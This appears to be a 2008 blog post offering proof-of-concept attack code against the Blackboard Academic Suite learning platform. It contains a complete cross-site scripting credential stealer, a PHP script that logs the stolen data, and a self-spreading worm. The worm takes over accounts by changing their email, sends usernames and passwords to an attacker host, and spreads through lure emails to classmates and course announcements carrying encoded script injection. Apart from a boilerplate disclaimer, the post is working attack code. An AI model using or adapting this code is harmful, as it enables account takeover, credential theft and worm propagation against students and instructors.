a small place to share your BIG knowledge

March 27, 2008

Hacking Blackboard Academic Suite.

Filed under: hacking — knight4vn @ 4:39 pm
Tags: , , ,

Download:

http://www.scribd.com/word/download/2363025?extension=pdf

View online:

Proof – of – Concept:

  • Steal.js

/**
* @Author: Duong Thanh - Knight4vn (knightvn (at) gmail.com)
* FILE: BBworm.js
* A web-based worm using Blackboard Academic Suites' Vulnerability
*
* DISCLAIMER: This exploit tool is provided only to test systems for a
* known vulnerability.  Do not use this tool on systems you do not control,
* and do not use this tool on networks you do not own without appropriate
* consent from the network owner.  You are responsible for any damage your
* use of the tool causes.  In no event may the author of this tool be held
* responsible for damages relating to its use.
*/

// CONFIGURATION SECTION
var _changedEmail = "hacker@gmail.com";
var _logInfoURL = "http://hacker/log.php"; //simple php script to log victim's information

// STORED SECTION
// We are using Global Variables to reduce loading time of victim's browser
var _userID; // userID
var _courseIDs; // array of courses victim taking or teaching
var _userName; //userName of that user
var _userPassword; //user's current encrypted password
var _userEmail; //user's current email address
var _userFirstName;
var _userLastName;
var _interval_3;
var _interval_4;

function getAjaxObj()
{
var ajaxRequest;
try {
ajaxRequest = new XMLHttpRequest();
}
catch (e)
{
try	{ ajaxRequest = new ActiveXObject("Msxml2.XMLHTTP"); 	}
catch (e)
{
try	{ ajaxRequest = new ActiveXObject("Microsoft.XMLHTTP"); 	}
catch (e)
{
alert("Your browser broke!");
return false;
}
}
}
return ajaxRequest;
}

function ajaxPost(url, requestString)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("POST", url, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(requestString);
}

function ajaxGet(url)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("GET", url, true);
ajaxRequest.send(null);
}

function ajaxGetwithResult(url, handler)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("GET", url, true);
ajaxRequest.onreadystatechange = function()
{
if (ajaxRequest.readyState==4)
{
handler(ajaxRequest.responseText);
}
}
ajaxRequest.send(null);
}

function ajaxPostwithResult(url, requestString, handler)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("POST", url, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.setRequestHeader("Content-Length", requestString.length);
ajaxRequest.setRequestHeader("Connection", "close");

ajaxRequest.onreadystatechange = function()
{
if (ajaxRequest.readyState==4)
{
handler(ajaxRequest.responseText);
}
}
ajaxRequest.send(requestString);
}

//I had used RegExp at first, but later I found out that this technique  is simply the best
function extractUserInfos(str)
{
var tempDiv = document.createElement("div");
tempDiv.innerHTML = str;
var arr = tempDiv.getElementsByTagName("input");

_userFirstName = arr["firstName"].value;
_userLastName = arr["lastName"].value;
_userEmail = arr["email"].value;
_userName = arr["userName"].value;
_userPassword = arr["password"].value;
_userID = arr["user_id"].value;
}

function getUserInfos()
{
ajaxGetwithResult("/webapps/blackboard/execute/editUser?context=self_modify", extractUserInfos);
}

function changeEmail()
{
var url = "/webapps/blackboard/execute/editUser";
var requestStr = "firstName="+_userFirstName+"&lastName="+_userLastName+"&email="+_changedEmail+"&userName="+_userName+"&user_id="+_userID+"&dispatch=save&context=self_modify&handle=my_inst_personal_edit&modify=true&self=true";
ajaxPost(url, requestStr);
}

function logInfo()
{
logInfoImg = new Image(0,0);
logInfoImg.src = _logInfoURL + "?user=" + _userName +"&p="+_userPassword+"&fname="+_userFirstName+"&lname="+_userLastName+"&email="+_userEmail;
document.body.appendChild(logInfoImg);
window.clearInterval(_interval_3);
}

//check if getUserID() completely finished or not?
function ready2ChangeEmail()
{
if (_userID != null)
{
changeEmail();
window.clearInterval(_interval_4);
}
}

function init()
{
getUserInfos();
_interval_4 = window.setInterval("ready2ChangeEmail()", 500);
_interval_3 = window.setInterval("logInfo()",700);

}

init();
  • logInfo.php
<?php
	//File Name: logInfo.php
	//@Author : Knight4vn
	//A simple PHP script to log user's account information

$user = $_REQUEST&#91;'user'&#93;;
$p = $_REQUEST&#91;'p'&#93;;
$fname = $_REQUEST&#91;'fname'&#93;;
$lname = $_REQUEST&#91;'lname'&#93;;
$email = $_REQUEST&#91;'email'&#93;;

if($user)
{
   $fin = fopen("user.txt", "a");
   $currentTime = date("d/m/y : H:i:s", time());
   $str = "Time: ".$currentTime."  User: ".$user."  Pwd: ".$p."  Fname:".$fname." Lname:".$lname." Email:".$email."\n";
   fwrite($fin, $str);
}
?>
  • BBworm.js

/**
* @Author: Duong Thanh – Knight4vn (knightvn (at) gmail.com)
* FILE: BBworm.js
* A web-based worm using Blackboard Academic Suites’ Vulnerability
*
* DISCLAIMER: This exploit tool is provided only to test systems for a
* known vulnerability. Do not use this tool on systems you do not control,
* and do not use this tool on networks you do not own without appropriate
* consent from the network owner. You are responsible for any damage your
* use of the tool causes. In no event may the author of this tool be held
* responsible for damages relating to its use.
*/

// CONFIGURATION SECTION
var _logInfoURL = “http://hacker.com/logInfo.php&#8221;;
var _emailSubject = “Hi I’m your classmate.”; //subject of the email will be sent to victim’s classmates
var _emailBody = “I did not understand this lecture slide. Could you please help me out?”; //body of the email
_emailBody += “http://site.edu/webapps/blackboard/execute/viewCatalog?type=Course&searchText=%22%3E%3Cscript%20src=%22http://baotreonline.com/kduxradio/hck/steal.js%22%3E%3C/script%3E&#8221;; //non-persistent XSS exploit URL

var _announcementTitle = ‘Hi this is an normal announcement! “>’ ; // fake announcement title
_announcementTitle += ‘%3C%73%63%72%69%70%74%20%73%72%63%20%3D%20%27%68%74%74%70%3A%2F%2F%65%76%69%6C%2F%77%6F%72%6D%2E%6A%73%27%3E%3C%2F%73%63%72%69%70%74%3E’; //inject malicious script to this announcement using persistent XSS hole
var _announcementBody = “Just wanna say hi!”;

// STORED SECTION
// We are using Global Variables to reduce loading time of victim’s browser
var _userID; // userID
var _courseIDs; // array of courses victim taking or teaching
var _userName; //userName of that user
var _userPassword; //user’s current encrypted password
var _userEmail; //user’s current email address
var _userFirstName;
var _userLastName;

function getAjaxObj()
{
var ajaxRequest;
try { ajaxRequest = new XMLHttpRequest(); }
catch (e)
{
try
{ ajaxRequest = new ActiveXObject(“Msxml2.XMLHTTP”); }
catch (e)
{
try { ajaxRequest = new ActiveXObject(“Microsoft.XMLHTTP”); }
catch (e) { return false; }
}
}
return ajaxRequest;

}

function ajaxPost(url, requestString)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open(“POST”, url, true);
ajaxRequest.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);
ajaxRequest.send(requestString);
}

function ajaxGet(url)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open(“GET”, url, true);
ajaxRequest.send(null);
}

function ajaxGetwithResult(url, handler)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open(“GET”, url, true);
ajaxRequest.onreadystatechange = function()
{
if (ajaxRequest.readyState==4)
{
handler(ajaxRequest.responseText);
}
}
ajaxRequest.send(null);
}

function ajaxPostwithResult(url, requestString, handler)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open(“POST”, url, true);

ajaxRequest.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);
ajaxRequest.setRequestHeader(“Content-Length”, requestString.length);
ajaxRequest.setRequestHeader(“Connection”, “close”);

ajaxRequest.onreadystatechange = function()
{
if (ajaxRequest.readyState==4)
{
handler(ajaxRequest.responseText);
}
}
ajaxRequest.send(requestString);
}

function extractUserInfo(str)
{
//a temporary div trick works better than using RegEx to extract info
var tempDiv = document.createElement(“div”);
tempDiv.innerHTML = str;
var arr = tempDiv.getElementsByTagName(“input”);

_userFirstName = arr[“firstName”].value;
_userLastName = arr[“lastName”].value;
_userEmail = arr[“email”].value;
_userName = arr[“userName”].value;
_userPassword = arr[“password”].value;
_userID = arr[“user_id”].value;

}

function getUserInfo()
{
ajaxGetwithResult(“/webapps/blackboard/execute/editUser?context=self_modify”, extractUserInfo);
}

function extractCourseIDs(responseText)
{
var searchStr = /_[0-9]{3,8}_1/g;
var arr = responseText.match(searchStr);
_courseIDs = arr;

}

function getCourseIDs()
{
ajaxGetwithResult(“/webapps/gradebook/do/student/viewCourses”, extractCourseIDs);
}

function logInfo()
{
logInfoImg = new Image(0,0);
logInfoImg.src = _logInfoURL + “?user=” + _userName +”&p=”+_userPassword+”&fname=”+_userFirstName+”&lname=”+_userLastName+”&email=”+_userEmail;
document.body.appendChild(logInfoImg);
}

function sendEmail2People()
{
for (var i = 0; i < _courseIDs.length; i++) { var requestBody = '-----------------------------263533012628632\r\n'; requestBody += 'Content-Disposition: form-data; name="navItem"\r\n'; requestBody += '\r\n'; requestBody += 'email_all_students\r\n'; requestBody += '-----------------------------263533012628632\r\n'; requestBody += 'Content-Disposition: form-data; name="course_id"\r\n'; requestBody += '\r\n'; requestBody += _courseIDs[i]; requestBody += '\r\n'; requestBody += '-----------------------------263533012628632\r\n'; requestBody += 'Content-Disposition: form-data; name="subject"\r\n'; requestBody += '\r\n'; requestBody += _emailSubject; requestBody += '\r\n'; requestBody += '-----------------------------263533012628632\r\n'; requestBody += 'Content-Disposition: form-data; name="messagetext"\r\n'; requestBody += '\r\n'; requestBody += _emailBody; requestBody += '\r\n'; requestBody += '-----------------------------263533012628632\r\n'; requestBody += 'Content-Disposition: form-data; name="email_file_"; filename=""\r\n'; requestBody += 'Content-Type: application/octet-stream\r\n'; requestBody += '\r\n'; requestBody += '\r\n'; requestBody += '-----------------------------263533012628632--\r\n'; var url = "/webapps/blackboard/execute/sendEmail?navItem=email_all_students&course_id=" + _courseIDs[i]; var ajaxRequest = getAjaxObj(); ajaxRequest.open("POST", url, true); ajaxRequest.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------263533012628632"); ajaxRequest.send(requestBody); } } function postAnnouncements() { for(var i = 0; i < _courseIDs.length; i++) { var url = "/bin/common/announcement.pl"; /* Blackboard requires instructor has to actually access the Add Announcement page first ( A record will be added to the DB each time the instructor visit Add Announcement page then it is removed after the Announcement successfully added) the direct ajaxPost is gonna face a system error if we dont request Add Announcement page first with victim's session Therefore, the following get request solves that problem */ var getStr = "?action=ADD&course_id=COURSEID&render_type=EDITABLE&context=course"; getStr = getStr.replace("COURSEID", _courseIDs[i]); ajaxGet(url + getStr); var postStr = "action=PUT&context=course&announcement_id=_pk1_pk2&course_id=COURSEID&data__announcement___pk1_pk2__announcement_type=C&render_type=FORM&data__announcements___pk1_pk2__subject=TITLE&data__announcements___pk1_pk2__announcement_f=&data__announcements___pk1_pk2__announcement_w=&data__announcements___pk1_pk2__text_format_type=H&text_style=html&text_format_type=H&data__announcements___pk1_pk2__announcement=BODY&data__announcements___pk1_pk2__permanent_ind=N&data__announcements___pk1_pk2__start_date_mm=01&data__announcements___pk1_pk2__start_date_dd=27&data__announcements___pk1_pk2__start_date_yyyy=2008&data__announcements___pk1_pk2__start_date=&pickdate=&pickname=&data__announcements___pk1_pk2__start_date_hh=03&data__announcements___pk1_pk2__start_date_mi=00&data__announcements___pk1_pk2__start_date_am=1&data__announcements___pk1_pk2__end_date_mm=01&data__announcements___pk1_pk2__end_date_dd=28&data__announcements___pk1_pk2__end_date_yyyy=2008&data__announcements___pk1_pk2__end_date=&data__announcements___pk1_pk2__end_date_hh=03&data__announcements___pk1_pk2__end_date_mi=00&data__announcements___pk1_pk2__end_date_am=1&props__announcements___pk1_pk2__link_source_pk1=&props__announcements___pk1_pk2__link_source_table=&=&location=&props__announcements___pk1_pk2__send_email=N"; postStr = postStr.replace("TITLE", _announcementTitle); postStr = postStr.replace("BODY", _announcementBody); postStr = postStr.replace("COURSEID", _courseIDs[i]); //a trick to get around setTimeout limitation var func = "ajaxPost('"+url+"','"+postStr+"')"; window.setTimeout(func, 6000); } } function init() { getUserInfo(); getCourseIDs(); window.setTimeout("sendEmail2People()", 2500); window.setTimeout("postAnnouncements()", 2500); window.setTimeout("logInfo()", 2500); } init(); [/sourcecode]

Blog at WordPress.com.